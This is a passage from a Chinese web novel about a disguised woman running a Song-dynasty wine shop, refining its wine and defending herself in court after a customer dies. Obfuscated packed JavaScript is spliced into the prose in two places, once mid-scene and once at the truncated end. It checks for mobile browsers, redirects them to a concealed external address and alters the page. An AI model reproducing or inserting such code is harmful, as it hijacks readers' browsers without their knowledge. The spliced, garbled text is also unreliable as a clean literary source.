许云洲手上肌肉绷紧,呼吸沉了一下,她抬眼看向他:“这里没有别的能用,忍着。” 她把他的手拉起来,斜斜伸向地面,把小半碗盐水从上往下冲在伤口上,吐槽道:“你们这真是要多不方便就有多不方便……” 许云洲额角青筋微显,左手攥成了拳,许知非看了看他,知道死不了,就是疼了点,又撕了一块布料稍微擦干残余的盐水,拿起了碗里的缝衣针和棉线:“缝上就好了。” 她对着烛火把针穿好,把他的手放在桌上,针尖扎进他的皮肉里,深浅、力度、间距非常均匀,精确到位,那手法根本不是行外人能做到的,甚至……当时军中最好的医官都做不到。 她每一针都极稳,在没有麻醉的情况下,需要做到避免二次损伤,最后,把线结打在了伤口一侧。 “手法特别,跟谁学的?”许云洲额头满是细汗,皱着眉头。 许知非直起身来,看着他的眼睛:“乡下土法子,以前缝过很多牲口。” 她说的平淡,又转身去收拾桌上的东西,然后拿起布料撕开长长一条:“自己抬手。” 她侧颜清冷神秀,一头长发如同墨绸,许云洲把手伸过去,指尖刚好碰了一下她随风飘动的发丝。 她把布条缠上去,手势极稳:“三日内不要碰水,明日送完状子,去药铺配点生肌消炎的药材,再配制些药粉放在店里备着。” 许云洲轻轻动了一下包扎好的手,伤口牵扯中仍有痛感,但已觉稳定。 “多谢坊主。” “不必,我只是想把店开下去,可若有人因此受伤,我心里不安。” 她把东西一样样摆好,规整得像是它们本就有各自的格子。 许云洲看了一下桌面,取出怀里的担保契书递给她:“三个担保,加上我的琴艺,与你合本,春风酒幡……会越来越热闹。” 许知非把文书打开,担保契书最上“胡永昌”三个字写得慌慌张张,力道很大,应该是生气又害怕。 “他会不会来找麻烦?” “他不敢,不然也不会偷袭我,倒是我疏忽了。” 二月廿七 她起床时,桌上多了一套新的男装,款式雅致。 她拿起来看,里面掉出一团细织的棉布,她摸了一下心口,想起自己拿裹胸布缠在了他手上,脸上有些发烫。 她换了衣服,打开门,扑面而来一个月白的身子,她险些撞上去。 许云洲右手抬着,看样子是准备推门或者敲一下,如今整个人停在那里。 “坊主终于醒了,既能睡到日上三竿,看来睡得还算舒服。”他把手放下,调整了一下背着的琴。 夜里她借口睡不着,坐在窗边看风景,头靠着窗户却不知不觉睡了过去…… 他把她抱床上了? 她刚要问,许云洲又笑道:“今日是好日子,都曲院里人应不多。” 他看起来意味深长,不过好像每天都是这么一副样子。 许知非想了一下:“那走吧,我们现在就去投状子。” 许云洲侧开一步:“请。” …… 那天状子投得很顺利,都曲院的人态度恭敬又谨慎,把状子收下之后,还有小吏送他们出门。 她回到酒坊附近,一眼望过去,发现旁的酒家热闹得很,而春风酒幡虽然也有主顾,但对比起来,可以说是门可罗雀。 她调整了一下心情,冷着脸走进去,赵伯招呼客人时客气和蔼的模样让她心弦微松。 青禾好像总在认真工作,一丝不苟,她站在大堂里看了半晌,忽然喊道:“今天歇泊修整,诸位客官沽了酒还请早回,过几日小店会有佳酿恭候!” 几个沽酒的客人刚坐下,不情不愿离开,赵伯不知缘故,笑着脸送客,青禾抬头看了看,翻着账本走进后院去。 许云洲跟在她身后:“许坊主这是有什么新想法?” “既然要做大生意,那店里的各样都要改一改,尤其是酒品。” “那许某也有些想法,既要连财合本,也该算一算分成比例。” “你想多少?” “我身上还有二百贯钱,加之先前所说的,将酒坊所有家当分作十股,我四股,你六股,盈亏皆按这比例算。” “那就立个字据,趁今日还早,让青禾一并送到都曲院去。” 许知非走到柜台前,取出纸笔来,“合伙契”三个字写得清秀又干练,幸好练过书法…… 许云洲站在柜台外面,看着她写。 契书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030739|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写好之后,她指尖轻轻一转,把纸推到他面前:“签。” 许云洲拿起笔,丝毫没有犹豫,名字写下去,一笔一画神韵雅致却能看出暗藏机锋。 许知非把纸转过来,看了看那个名字,在旁边空白处写上了“许知非”三个字,至于是谁,她也不是很确定,反正是个男的…… “你可以去看看后院,店里东西你都可以看,但你如果使诈,白纸黑字,一切损失由你一人承担,解释权在我。” 她指了一下契书最右边一行小字,冷冷盯着他。 许云洲神色温润不改:“许坊主放心,独木难支的道理,许某也是懂的。” 许知非心底一震,这话说得不像是他自己,好像是在说她,不是威胁,像是嘲讽和……同情…… 之后几天,许知非清点了一遍店里各类家当和库存,确定跟原身记忆里的相差不大。 她又问了赵伯店里酿酒的法子是什么出处,有没有可以改进的操作。 赵伯和青禾都蹙眉苦思,一时半会谁也说不上来。 她亲自尝了尝每一个品类的酒,不懂可以学,拿了纸笔把品类、年份、口感、香气……各样细节一一记下。 许云洲翻看账目,发现条目清晰,丝毫没有差错,余光瞥见她写了很多简体字,眯了眯眼:“这些是……什么记号?” 许知非手一停,微微有点慌,抬头一脸淡定:“我简写的字,方便快速,能省时,自己能看就行。” “许坊主这是多才多艺了。” 多才多艺?她不会唱歌,不会跳舞,连画画都不会,圆都画不正,这个词从来没跟她沾过边。 她心里有些尴尬,微微勾了一下唇角:“谢谢。” …… 三月初一 许知非将三只粗陶碗一一排开。 第一碗,是汴京最常见的茅柴酒,色泽黄绿浑浊,碗底全是曲渣和粮滓,表面浮着绿色的沫子,入口辛辣刺喉z 第二碗春风酒幡原有的玉壶春,略澄于茅柴酒,但昏黄朦胧,草药味和酒气分离,后味苦涩挂舌。 第三碗是原身用胡商带来的大食曲私酿的头批酒,酒色清亮了些,但有一股怪味,好像铁锈和果肉腐味混合出来的味道。 “浊,酸,涩,杂。” 许知非写在纸上,又看着三个碗:“浊因悬浮未滤,酸因发酵过度,又或是脏了,涩因单宁和杂质,工艺粗放,各味不协。” 赵伯在一旁搓手:“小坊主,这酒自古就是这样的酿法,要清,只能用细绢多滤几次,可那般损耗太大,酒也薄了。” 她走出门去,看见柴房门歪歪斜斜开着,指了指:“把那里清出来,我要用。” 许云洲放下账本,从仓库里走出来,右手还缠着布条。 他站在院子另一边,看着许知非在不大的院子里搜罗东西。 青禾把柴房里的柴火搬到了院子里,又找了油布盖好,许知非把一些大大小小,形状不一的罐子坛子拿进柴房里,还把厨房里的桌子拖了进去。 她把东西一样样放整齐,又想了想,唤道:“青禾!” “在呢!” “去窑户那里,让他们用果木密闭煅烧,反复水洗,再晒干,然后送过来。” 青禾眉心拧紧:“什么烧?” 许知非一愣,不行,他们不靠谱,还是自己动手比较稳妥,于是她自己跑了出去。 青禾站在原地,不明觉厉:“坊主这半个月来越发勤快了呀。” 赵伯接话道:“老坊主养大的孩子,不会差的。” “多谢夸奖。”青禾转身抱手,一脸傲气。 赵伯反应慢了半拍,随后笑起来:“你真是……” 许云洲踱着步子离开,走的是后门,赵伯本想问他去哪里,张了张嘴又没问。 许知非到街上走了一圈,顺利买到一些果木柴碎块,抱起来就往回跑。 她全没看见随后而来的许云洲,从他身边经过,很快又回到了酒坊里。 “烧烧烧……” 她自言自语,全神贯注,双手握着一把柴刀在地上挖坑。 那眼神和缝伤口时一模一样,许云洲远远跟着她,从前堂走进来时,她已把那些木柴点着了,且全都放进了那个土坑里,又用土把烧着的木块埋了起来。 “许坊主这是在……”他在她身后站住,眯着眼睛看她满手的泥。 “做一种东西,你回头就知道了。” “那柴房……” “有用。” 她观察着自己封好的泥,没干过,没抬头,许云洲看着她的侧脸,目光移向她盘起的发髻。 “你的头发……” “啊?” 许知非摸了一下头,发髻没散,她抬头看他,满是疑惑,拍了拍手上的泥。 许云洲像是发觉了什么,一瞬慌乱,转开脸去:“没什么,我看错了。” 他转身走开,又进了仓库,许知非看着那个背影,总觉得哪里怪怪的。 忽然,她一拍手,脱口而出:“鸡蛋!” 她跑进厨房里,找到两个,眉头微微皱起,有些不满意,又跑出去。 出门时目光扫过小小的院子,青禾和赵伯在柴房门口,应该是在讨论她那些东西干什么用,许云洲手里拿着账本,又从仓库里走了出来,眼睁睁看着她跑出去。 他脸上温然渐消,对赵伯说道:“赵伯,我出去一趟,今晚不回来。” 赵伯转身看他,一时愣住,反应过来后点了头:“诶,那我一会儿告诉小坊主。” 许云洲从前堂离开,青禾跑到仓库门口,发现他居然没有把琴带走。 约莫半个时辰,许知非买了一大筐鸡蛋回来,双手提着,颇费劲,好不容易进了柴房,小心翼翼放下。 赵伯走到门口与她说时,她还有些晃神,喘着气。 “哦,他有说去哪儿吗?” “没有,只说今晚不回来。” 今晚不回来?那这“落脚处”的理由就不成立了…… 先记下。 她点了点头:“知道了,那先做饭吧,不做他的就是了。” 赵伯应下就往厨房里走,青禾靠在窗上,远远盯着对面仓库那扇窗:“他没带琴,坊主要不要看一下?” “不碰他东西,咱们是光明正大的人,要碰也要问过人家。” “光明正大?” 青禾语调拉高,像是惊奇得很。 许知非猛地想起自己一身男装,发觉好像也不算光明正大,补充道:“总之不碰他东西。” “哦……” 接下来的七日,许知非都忙着烧柴。 她把土里冷却的炭块挖出来,用盐水泡透之后晾干,又放进陶罐里密封复烧,烧好又趁热丢进冷水里,晾干后,七天已过去了。 她拿着那些木炭高高兴兴,急着脚步走进柴房,看起来还有事情要赶紧去做,根本没有想起来问问许云洲去了哪里。 许云洲一连几日早出晚归,皇城司公案后面,摊着三份新旧不一的卷宗,他一一核对,发现《庆历七年军器监失火案》的官方邸报抄卷字句含糊。 “走水不慎,监丞许某并匠役十余人获罪,图纸焚毁。”一句结案潦草。 又看,开封府留存的一份当年失踪人口协查文书拓片,边缘已蛀蚀。 “许氏女,年五岁,庆历七年三月,于汴京走失,肩前有赤痣。”一句旁边朱批小字:“疑于军器监案有关,待查。”墨色极淡,且有些晕开,似有人反复去摸过很多次。 第三份是最新找到的,来自杭州府的户帖残页,记录了一个名叫“许非”的孤童,于庆历八年由一个男子携至杭州落户,称系汴京远亲遗孤,登记年岁,特征,竟跟那份失踪文书吻合,但是男童…… 许云洲看着“杭州”二字,眼神冷下去。 他拿起案头另一边的一份密报,是关于春风酒幡的:“旧党清流已有议论,言此酒幡来路不明,坊主形迹可疑,若成正店,恐坏汴京酒业成例。” “……里行。” 他将信纸放在灯上点燃,扔进一个瓷杯里,取纸提笔,写下:“一、杭州线索查清源头,找出落户的旧亲为何人。二、旧党动作,详录人言,缓报。三、春风酒幡正店一事,按常例,不得阻,不予便。” 他取出皇城司干办的小印,在“缓报”和“按常例”两处印下标记,从此,春风酒幡相关信息将延迟呈递,正店手续将不会有皇城司暗中助力,但也不会有任何人额外刁难……至少明面上是这样…… 他把纸卷起来,塞进一个竹管里,唤来门外值夜的押班:“送出去,按规矩办。” 那押班领命而去,他吹熄了灯,从最暗处的东北角门离开皇城司。 街上夜市依旧热闹,回到春风酒幡已是子夜,许知非还在柴房里,正把细棉布、木炭粒、洗干净的河沙一层层叠在一起。 许云洲轻手轻脚走进去,她全没发觉,专心看着眼前滤缸。 “这是什么?”许云洲忽然开口。 许知非吓得整个人蹦起来,手里一把河沙扬在了他脸上,她缓了缓,抬头看他:“这是自作自受。” 许云洲拍了拍脸上身上的沙子:“此番代价不知能否知晓许坊主到底在做什么呢?” 许知非站起来,让出位置给他看:“木炭吸附色素和异味分子,河沙拦截细微悬浮物,这叫炭如墨海,纳浊自清。” 她说着,把一坛酒慢慢倒进去,滤出的酒液滴在另一个酒坛里,果然清透不少。 许知非勺起一杯正要闻一下,许云洲伸手拿了去,凑到自己面前嗅了嗅,点头道:“义弟手艺果然精湛。” 许知非一把抢回来,闻了一下,又尝了一口:“不行,还差一点。” 她把酒杯放下,转身去墙边箩筐里拿鸡蛋,又跑去厨房里拿了碗来。 她把蛋清和蛋黄分离,又把一点点蛋清放进滤过的酒里,沿着同一个方向搅动。 许云洲站在一边看着,又道:“义弟这是……酒糟蛋我也爱吃,但好像不是这做法。” 许知非看他一眼,不回答,搅拌了很久,至少百圈,后把酒坛封上。 “蛋清性黏,能裹挟酒中极细微的浑浊物,结成絮团下沉。”她把酒坛抱起来,轻轻放在了角落里,“此乃以清引清。” 许云洲挑眉点头:“那就等义弟好消息了。” “别义弟义弟叫得顺口,八字还没一撇,春风酒幡如果顺利转做正店,你这哥哥,我才认。” 许云洲一笑:“那我更加期待了。” 又七日,许知非接连做了七坛,每坛相隔不过一日。 她打开七日前的那一坛,看见坛中沉淀已完全压实,酒液澄澈透明,她欣然一笑,取了一根自己做的虹吸管把酒引出来,丝毫没有搅到底下的沉淀物。 她取了一坛,大声喊来赵伯来,倒了一碗递给他:“尝尝。” 那酒色清亮微黄,宛如上好的蜜水,药香和酒香完全融合,香气似有还无,入口棉柔顺滑,药味化作了隐隐的回甘,落喉温润。 她自己倒了一碗,一边喝,一边看着赵伯喝,眼里笑意难掩。 赵伯啜了一口又一口,眼眶渐渐发红:“这……这真是咱们的玉壶春?”他又啜了一口,“老汉酿酒三十年,从未尝过这般……这般不像人间的酒。” 许知非放下酒碗,鉴于上一次喝死了,如今没事也不想多喝,欢喜道:“这酒日后就叫澄心酿,如何?” “澄心酿?”赵伯眼里光点闪烁,“好!好!就叫澄心酿!” 翌日,三月十五 春风酒幡转作正店的文书告示一同发出,大街小巷很快传开了。 按汴京正店规制,门前左右各添了一对石鼓,檐下挂起了一串红绸缠绕的酒望子,上书:佳酿天成。 赵伯特意换了一身半新的赭色直裰,站在门前脸色激动得发红。 批文下到店里,青禾立马打起了算盘:“后院再起两座曲房才行啊。” 许知非一身天青色圆领襕衫,头发用玉簪束着,神色平静,站在柜台后面。 场面热闹非凡,新出的澄心酿限定发售,比对面新酒贵三两,却有许多人拼一杯也要尝一尝。 就在人人对新酒赞不绝口的时候,两个穿着皂吏服的人走进大堂里。 他们声称是酒务核查新酒,青禾不得不把一整壶澄心酿送给他们。 结果他们拿了酒也不肯走,问这问那,说着公事公办,赵伯往他们手里悄悄塞了一袋子碎银,他们才点了头,说了一句:“生意兴隆。” 许云洲暮时才到,坐在他第一次来时的位置,大声道:“义弟,新酿我还没尝过,可卖完了?” 许知非从柜台里取出一个酒壶,又拿起身后酒架上一个酒碗,倒出满满一碗端过去。 “多谢,按约定,你我关系算是定下了。”她把酒放在他面前,又道,“望日后风雨同舟。” 许云洲端起酒碗,看了又看:“清得可怕,澈得妖邪。” “不敢喝?”许知非看他好像不领情,有些不耐烦,拉了椅子坐下。 他把酒一饮而尽,看着干干净净的酒碗:“贤弟这酒,好得……让人不安。” “哥哥是说,酒太好,也是罪过?” 许云洲笑了笑,温和道:“木秀于林,风必摧之1),义弟可知这汴京城里有多少人喜欢浊?大家都在浑水里,才能摸鱼。而你这澄清的法子,尤其是那蛋清之用……是从那本《酉阳杂俎》里看来的,还是……” 许知非看着他,冷淡道:“不过偶得妙想,许兄若觉得不妥,不喝便是。” 她说着就要收碗,许云洲一把夺了她手里的酒壶:“喝,为何不喝。” 堂间,不远处,传来一声重物落地的闷响,连带着桌椅翻倒,酒盏杂碎的声音。 有人大喊:“死人啦!死人啦!这酒有毒!这酒有毒!” 1):李康《运命论》 4. 各占一半 堂间欢声笑语几乎是一瞬间散掉的,衔接上来的是惊恐的议论,嗡嗡地响,生怕声音大些会引来麻烦事,又憋不住非要说两句。 “什么情况?” “不会吧?我喝了没事啊……” “你什么酒?” “澄心酿啊。” “我也是。” “难不成是没喝够量?那还幸好没钱了呀。” 满堂的酒客往柜台西侧围过去,那里位置僻静,有窗户,有三四张桌子,都坐了人。 大门外,满梁红绸在一阵妖风中松落一段,吊在招牌底下吹得猎猎作响。 “有毒?” “真的假的?哪个有毒?” “新酒!是新酒!”忽然有人指着倒地的人大喊。 买了新酒的人惊慌失措,一个接一个把酒杯扔下,白瓷砸响接连不断。 赵伯第一个反应过来,挤到最前面,满是褶皱的眼眶渐渐瞠大。 躺在地上的是老主顾钱员外,手边是今日用来装新酒的琉璃酒器,店里总共不过十几只,买满一壶才配着上,再看桌面上,琉璃壶里还剩约莫一杯酒。 许知非脑子一片空白,有毒?胡说八道,不可能。 她大步走过去,可围观的人太多,又几乎都是壮汉,她绕了几个方向,根本没法靠近,只能挤。 “麻烦让一下。” 她刚开口,一个脸长似马的男人指着她大喊:“许坊主!你必须给个解释!” 紧接着,有个矮胖男人捂着自己的圆肚皮满脸痛苦,弯下腰去:“该不会是全都有毒吧,哎哟,我的肚子,哎哟……我喝的可不是澄心酿啊……” “哎哟,我也有些头晕……你们还比风月楼贵三两一斤,早知不来了!还以为这有什么好东西,所以才能转做正店,如今看来,怕不是买通了什么人吧!”长脸男人声音再次拉高。 青禾气不过,从柜台后面走出来:“无凭无据,岂容你们乱说,怎不见全倒下,你们几个怕不是一伙的!” 赵伯从旁迈出,神色沉重,拱手朝各个方向拜了拜:“诸位客官,本店自老坊主在时,采买酿酒皆可查到依据,粮曲、水源……坊正、行会均可作证,今日批文下达,除新酿外,酒价皆减三成酬宾,酒水与往日并无不同,在座许多老客都可品鉴。” “就是,你、你、你……还有你,可有不同,可有不舒服?”青禾指了指几个老客,高声问道。 几个老客皆摇头,其中一人犹豫道:“我们……喝的不是新酿……钱不够,是不是……新酿出了些差错?” “一定是!这酒透成这样,让人一杯喝不够,两杯不尽兴,三杯之后还想再要三杯,怕不是用了什么见不得人的东西!那批文定也是歪门邪道里勾扯来的!”马脸男人大声叫嚷起来。 许知非更关心死者情况,可站在围观人群之外,只能略略看见倒在地上的那个人。 钱员外……原身记忆里是个高大胖硕的男人,脸色总是很红润,总爱炫耀他新得的字画,每次来买酒的时候也不忘向店里其他客人炫耀,好几次人家看不上,他就险些跟人打起来。 她能看见那个庞大的身躯躺在地上,穿着宝蓝色的锦缎衣袍,眼睛瞪得很大,直直看着房顶。 职业本能驱使着她挪动自己的位置,直到看清那张脸。 面色青紫绀红,窒息或缺氧所致……口鼻皆有出血,泡沫状,暗红色,肺源性或急性上呼吸道出血,尸僵没有出现,但肌肉有细微痉挛,确实是刚死不久,倒地的姿态和喷溅的血迹初步形态…… 急性心梗?主动脉夹层破裂?但这口鼻出血和发病速度……确实更像是中毒的迹象…… “就是他!他就是坊主!他的酒毒死了钱员外!”忽然有人指着她大喊。 许知非紧紧盯着那具尸体,本还想再靠近些,猛地停住了脚。 她抬眼望去,长脸男人一只手指着她,另一只手扶在身边的桌子上,模样看起来没有多少痛苦,倒是人群里最凶神恶煞的一个。 那个矮胖男人捂着肚子往许知非面前走过去,脚步看似拖沓,实则步步踩稳,厉色道:“你!你必须给个说法!” 许知非往后退了一步,青禾正要上前去阻,许云洲已挡在她身前:“诸位稍安勿躁。” 他手里还握着细颈酒壶,平静得像是见怪不怪:“人命关天,官府未至,案情尚未查明,此刻擅动,非但于事无补,还又可能触犯律条,助了真凶混淆视听,逍遥法外。” 青禾跟着附和:“就是,你们说酒有问题,那就等官府来了查验,但你要说牵扯咱们家批文,”他大步走到柜台后面,将那卷朱红的批文取出来,放在柜台上,“汴京酒行升等,需经户部、光禄寺核验,前后层层堪合,皆是过的岂是你一句‘歪门邪道’可以污蔑的?你怕不是别家来的奸细,看不得人好,跑到这里杀人闹事的!” 长脸男人登时拍了桌子:“你说什么?!” 他那一掌拍得力道刚猛,一声怒喝中气十足,哪里有半分不适?分明就是搞事情的。 许知非道:“人命惨事,岂是凭谁几句话就可以断定的?试问在坐诸位,此时此刻,谁不心惊?但这惊惧,与酒真的有关系吗?与批文有关系吗?倒是这两位客官,且不说是不是有中毒迹象,钱员外尸骨未寒,案情还没定论,你们就急于攀扯我店里的事,在这里煽动人心,究竟是什么居心?” 长脸男人脸色胀红,正要上前,许云洲一把扣住许知非的手腕,将她拉在自己身后,眼中闪过一瞬冷意。 “这酒坊也有许某一份,诸位有什么事,也可与我说,方才已有人跑出去报官了,若想闹事,还请趁早,届时许某也好一并呈上官府。” “许云洲!你一个弹琴的,掺和一家酒坊做什么?我看你们怕不是有什么行里行外的勾当!别以为我不知道你背后有点儿关系!”矮胖男人双手放在肚皮上,大声嚷道。 许知非一听,这人认识许云洲?什么来路? 许云洲一脸无奈:“在下游历至此,因许坊主人品贵重,且与他投缘,故而结为义兄弟,连财合本,也正因如此,更盼官府早日查清真相,还亡者公道,还酒坊清白。” 赵伯接话道:“许公子说得对,此刻妄动,若毁了关键证物,耽搁了救治其他可能中毒者的时机,这责任,不知谁愿承担?开封府的铁尺,怕是不认什么酒意还是冲动的。” 酒客们即刻安静下来,谁都不想自己中了毒却耽搁了解救的机会,有人带头坐下,高声道:“赵伯说得对!我们就等官府来解决。” 堂内渐渐有人附和,陆续找了位置坐下。 那个长脸男人眼看场面静下去,对矮胖男人使了个眼色,两人保持着看似不适的姿势,各自找了位置坐下。 开封府的皂隶来得很快,为首的捕头姓雷,面如黑铁,双眼如鹰。 他进门便看见了钱员外的尸首,高声询问:“出了什么事?” 无人敢动,都怕惹祸上身…… 赵伯和青禾因是店里人,他们将二人排除在问询之外,唯有那两个不断攀扯酒坊过错的,自告奋勇要说明情况,两个衙役带着他们离开。 雷捕头亲自查验尸首,之后目光便落在了许知非身上。 许知非站在许云洲身边,眉头紧锁,一直盯着那具尸体,她想走近看一下。 可如今的情形,根本没有合适的时机,她强压了出于习惯和本能的冲动,原地站着,没注意到雷捕头正看她。 “锁拿涉案人许知非,查封春风酒幡,一应人等不得擅离!”雷捕头声如洪钟,高声一喝。 许知非猛地一怔,心沉到了底……完了,自己根本不熟宋代的司法程序,这下连自救都难,前后不过一个月,真活不过三集? 赵伯试图上前理论,两个衙役将他狠狠推开,青禾眼疾手快,扶住了他。 许云洲眼中厉色渐生,上前道:“雷捕头且慢。” 他步履从容,神情略带急切,上前一拜:“在下许云洲,乃是知非义兄,案情重大,官府拿人查问,理所当然,只是……舍弟年少,骤逢剧变,心神已乱,可否容在下陪同前往?” 雷捕头正要拔刀,动作一停,一双鹰眼上下看了看他:“许先生即是亲属,同行亦可。” 两个衙役将带来的锁链抖开,走向许知非:“许坊主,得罪了。” 这两个人是春风酒幡的常客,在原身的记忆里能够找到他们坐在酒坊大堂里喝酒到喝天亮的身影,许知非从未赶过他们,打烊了便由着他们留在店里过夜。 她把手伸过去,看着他们把锁链轻轻套在她腕上。 许云洲凑到她身后,伏在她耳边低声道:“腕上垫袖,不要硬抗,问话时,只说酒水的事情,不要提别的。” 许知非看着手上的锁链,没有回应,雷捕头一声“带走”,她往前迈开步子,锁链随着脚步摇晃,不知道怎的,声音还有点好听。 原身记忆零零碎碎,总有些不好的感觉在心里盘桓着,只是不知是什么。 春风酒幡一拿到批文就糟了这么大的祸事,若是有人故意为之,这种手段,定不是一般的嫉妒能解释的。 三月十六 许知非在牢房里睡了一夜,全赖许云洲淡定得不像人,在牢房里弹琴。 她醒来时,他还坐着,一侧身子靠在铁栏上。 狱卒来开门时,态度端正,并没有电视里演的那样吊儿郎当。 他开门进来,看了一眼许知非,对许云洲说道:“许公子,大人有令,请许坊主走一趟。” 许云洲面带微笑,好像对这狱卒很满意,轻声道:“知道了,带路吧。” 那狱卒转向许知非:“许坊主请。” 许知非一脸狐疑,看看许云洲,又看看这狱卒,难不成这家伙跟什么大官也有交情?连开封府的狱卒都看他三分脸色? 都说宋朝人附庸风雅……真是以琴会友? 她站起来,拍了拍身上一些草杆子和灰尘,锁链哗啦哗啦地响。 “请。” 她摆了个生硬的姿势,瞥见那狱卒回头看了一眼许云洲,才道:“许坊主请。” 开封府公堂阴冷森然,水火棍分立两侧,孙推官端坐案后,脸色阴沉着,抹个黑脸,算不算又是一个包大人呢?包大人哪个年代的来着? 许知非算了算,嗯,生不逢时,包大人已故好几年…… 她在公堂上站住之后想了想,试验着,慢慢跪下,心里想着电视里演的情节好像就是这么来的。 雷捕头带着两个衙役立于阶下,许云洲作为亲属,允许站在她身后三步外,她回头看了看,一身青衣,眉目低垂,姿态恭敬温顺,看起来好像……无害也无用。 惊堂木“啪”地一声,许知非吓了一跳。 孙推官厉声喝问:“堂下许知非,你可知罪?!” 许知非脸色一冷,应道:“草民不知。” “你春风酒幡澄心酿致使钱正德饮后暴毙,众目睽睽!人证物证俱在,还不从实招来!” “饮酒不止他一人,为何只有他暴毙?大人不觉得奇怪吗?” “你新酒贵价,本官已查明,春风酒幡昨日新酿,唯有钱员外一人喝足了三杯!” “敢问大人,旁人可有中毒迹象?” “酒量不足,自然没有明显迹象,据本官所知,钱员外曾多次在你店里闹事,有酒客说是你怀恨在心,在酒中做了手脚。” 许知非眼眸清亮,与他目光相对:“大人,您这番说辞,幼稚且儿戏,草民听不出自己罪从何来。” “放肆!”孙推官怒喝,“钱正德死于你店中,饮的是你店酒,此乃铁证!” “草民不解。”许知非神色平静,缓缓说道,“‘死于店中,饮过店酒’如何能推出‘饮酒致死’?就好像有人走在汴河边上失足落水,溺死了,那大人是不是要治汴河的罪?” 堂上气氛有些凝滞,许云洲唇角微微勾了一下,依旧低眸不语。 孙推官脸色难看,惊堂木猛地一拍:“巧言令色!若非毒酒,人何以顷刻毙命,口鼻溢血?” “正是此处蹊跷,但并非铁证,敢问大人钱员外暴毙之状,仵作可曾细验?口鼻出血之性状、颜色,是否混有泡沫?颜面指甲色泽如何?尸身是否有其他异常?” 老仵作上前拜道:“大人,钱员外是窒息出血之状……” “窒息之因千百种。”许知非打断他,眼神锐利,“呛噎、痰堵、急症、乃至某些慢毒攻心,皆可致此。大人若仅凭饮酒后死便断定酒中□□,是否……略失周全。” 孙推官脸皮抽动,惊堂木又是一拍:“大胆!本官办案,岂容你指摘!你口口声声说酒没有毒,有何凭据?!” “草民无需证酒,”许知非语气冷淡,直直盯着孙推官,“草民只恳请大人细查钱员外死前一个时辰的行踪、饮食、接触之人。” 许云洲抬眸,静静看着她跪在公堂中央的背影,眼中有一瞬精光闪过。 堂上静了片刻,孙推官紧紧盯着许知非,像在思索着什么。 许知非继续道:“大人试想,若毒在酒中,且毒性剧烈到三杯致死,那么,酒入喉肠,毒发需时,毒物灼蚀肠胃,必有剧痛挣扎,但据当时众多酒客所见,钱员外饮酒谈笑,直至第三杯落肚后片刻,才僵直倒地。” 许云洲接话道:“大人,知非此话有理,钱员外死得过于干脆,毫无预兆,更像是某种早已潜伏的毒性,令钱员外在第三杯酒落入肠腹时,瞬间毙命。” 孙推官冷笑:“荒谬臆测!你如何证明!” “草民不知,但,草民略懂药性,酒能行药势,亦能催毒发,古医籍有载,若有人先早服下某种需酒力引动或加剧的毒物,再到我酒坊来喝酒,便可造成饮鸩止渴之象,嫁祸于人。” 孙推官再拍惊堂木:“狡辩!你言下之意,是有人蓄意害你?你区区一个酒坊坊主,何人需如此大费周章,用一条人命来害你?!” “这便是草民不解之处,”许知非垂下眼帘,声音略低了些,“或是并非针对草民?草民酒坊昨日刚获正店批文,宾客盈门,若此时曝出毒酒杀人之事,批文必被收回,酒坊顷刻倒闭,此举,伤的是草民一人,还是新晋正店的声誉,亦或是……近日新颁行的……酒政的体面?” 孙推官哑口无言,本是一个酒坊的事,如今仅关联到了新政,他也犹豫了,都不是省油的灯。 许知非脑中闪过一些原身的记忆片段,她似乎关注了一些新政和旧党的事情,可样样都是模模糊糊,无论如何都联系不到一起,而眼前情况也来不及细想。 她道:“大人,草民惶恐,所言皆是猜测,但一切真相,唯赖大人明察秋毫,草民恳请细查钱员外尸身,尤其查验胃腹内容……口中毒物残留,详查其死前行踪,尤其是他可能接触到的医者、药铺、饮食……我店中同批酒水、用料,由官府和行会共同查验,以证我酒坊清白。” 孙推官再三犹豫,右手抓着惊堂木越捏越紧,左手手指不知不觉敲起了桌面,仅是付诸行动去查清案情,他却似有万难。 许知非跪得笔直,端正了姿态伏地一拜:“大人,天下安澜,系于芸芸众生。若只知清议、叹息,坐视世间泥沼食人,那敢问你我生于世间,究竟为何而来?常听人说世风日下,草民敢问说者,都为这日下的世风做过什么?” 她抬起头,字字清晰:“恳请大人,重验尸身,细查详查,若我酒坊有半点过错,我许知非愿一力承担,唯请大人给这世间多一份清白!” 孙推官呼吸沉了又沉,府中师爷从后堂出来,走进他身旁,似在他耳边说了几句话,他紧绷的脸色忽然变幻不定。 他一拍惊堂木,力道却听得出犹豫:“犯妇……呃,犯民许知非,所言虽属臆测,却也不无道理,此案确有蹊跷之处,着令仵作详验尸身,雷捕头带人查访钱正德行踪,许知非暂押女……男监,酒坊一应人等不允离京,听候传唤!退堂!” 许知非听他屡次说错,心底凉了一阵,许云洲说不定是有什么后手,她起身回头,却只见他淡淡点了一下头。 衙役示意她站起来,锁链拖在地上,哗哗作响,她跟着他们回到大牢里,许云洲送她到牢房门口,没有进去,一路上,也没有狱卒拦他。 “许云洲,”她咬了咬牙,站在牢房里,隔着铁栏与他对面,“我要亲自验尸。” 狱卒正要锁门,动作僵住,抬起头来。 许云洲摆了摆手,那狱卒当真退了下去。 “你究竟是什么人?” “我只是游方琴师,时不时跟些达官贵人弹琴聊天,时不时救一救……无名小卒。” 他把“无名小卒”几个字说得很慢,似有特指,许知非盯着他的眼睛,此时回想,那笑意当真是有些瘆人,她定了定神,尤其觉得管不了那么多,情况特殊,达到目的要紧。 “那如果我要亲自验尸,你能做到吗?” “好处?” “春风酒幡,你我各占一半。” 许云洲低笑,摇了摇头,微微叹了口气:“勉勉强强,但你我有缘,我便满足你,晚些……会有人来接你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 